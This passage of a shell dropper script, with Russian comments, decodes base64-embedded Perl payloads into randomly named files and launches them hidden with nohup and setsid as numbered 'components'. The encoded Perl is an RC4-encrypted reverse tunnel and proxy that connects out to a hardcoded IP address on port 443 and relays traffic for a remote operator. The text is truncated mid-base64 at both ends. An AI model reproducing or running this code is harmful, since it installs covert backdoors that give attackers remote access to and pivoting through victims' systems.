LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #15 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #15 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 16 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs 